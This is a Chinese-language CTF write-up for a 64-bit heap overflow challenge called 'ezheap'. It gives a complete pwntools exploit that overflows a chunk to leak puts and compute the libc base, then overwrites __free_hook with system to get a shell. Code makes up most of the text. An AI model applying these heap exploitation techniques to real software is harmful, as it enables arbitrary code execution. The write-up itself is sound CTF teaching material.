64位堆溢出题目,保护全开,本题用到chunk extend以及__free_hook劫持
menu存在4个函数,其中add函数中一次malloc两个堆块
第一个堆块是description,第二个堆块才是real content存放处
而本体堆块结构体中存放puts的实际地址,可以以此泄露地址计算libc基址
下面是exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./ezheap")
# io=remote("43.143.7.127",28232)
elf=ELF("./ezheap")
libc=ELF("./libc-2.23.so")
def add(n,s,c,cc):
io.recvuntil("Choice: \n")
io.send(b"1")
io.recvuntil("Input your idx:\n")
io.send(str(n))
io.recvuntil(b"Size:\n")
io.send(str(s))
io.recvuntil(b"Name: \n")
io.send(c)
io.recvuntil(b"Content:\n")
io.send(cc)
def delete(n):
io.recvuntil("Choice: \n")
io.send(b"2")
io.recvuntil("Input your idx:\n")
io.send(str(n))
def show(n):
io.recvuntil("Choice: \n")
io.send(b"3")
io.recvuntil("Input your idx:\n")
io.send(str(n))
def edit(n,s,c):
io.recvuntil("Choice: \n")
io.send(b"4")
io.recvuntil("Input your idx:\n")
io.send(str(n))
io.recvuntil(b"Size:\n")
io.send(str(s))
io.send(c)
add(0,0x40,b"asd",b"asd") #0
add(1,0x40,b"asd",b"asd") #1
# add(2,0x40,b"asd",b"asd")
gdb.attach(io)
pause()
edit(0,0x70,cyclic(0x70)) #0x70bytes到puts的内存地址
show(0) #overlapped chunk 0
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: "+hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
payload=cyclic(0x40)+p64(0)+p64(0x31)+p64(0)*2+p64(free_hook-8)
edit(0,len(payload),payload)
payload=b"/bin/sh\x00"+p64(sys_addr)
edit(1,len(payload),payload)
delete(1)
io.interactive()
先分配两块符合fastbin大小的堆块,通过edit函数堆溢出至puts地址处
add(0,0x40,b"asd",b"asd") #0
add(1,0x40,b"asd",b"asd") #1
edit(0,0x70,cyclic(0x70))
获取libc后考虑劫持__free_hook到system函数处
于是再次使用堆溢出将之前申请的堆块1的description块处的偏移为0x10处地址覆盖为(&__free_hook-0x8),将description末尾(即偏移为0x18处)标志位赋值为1,以便能够被free掉,如下判断
之后edit(1)时可以直接从此处开始覆盖,并且&__free_hook-0x8处覆盖为/bin/sh\x00
,&__free_hook处覆盖为system地址,最后free(1)时便可以getshell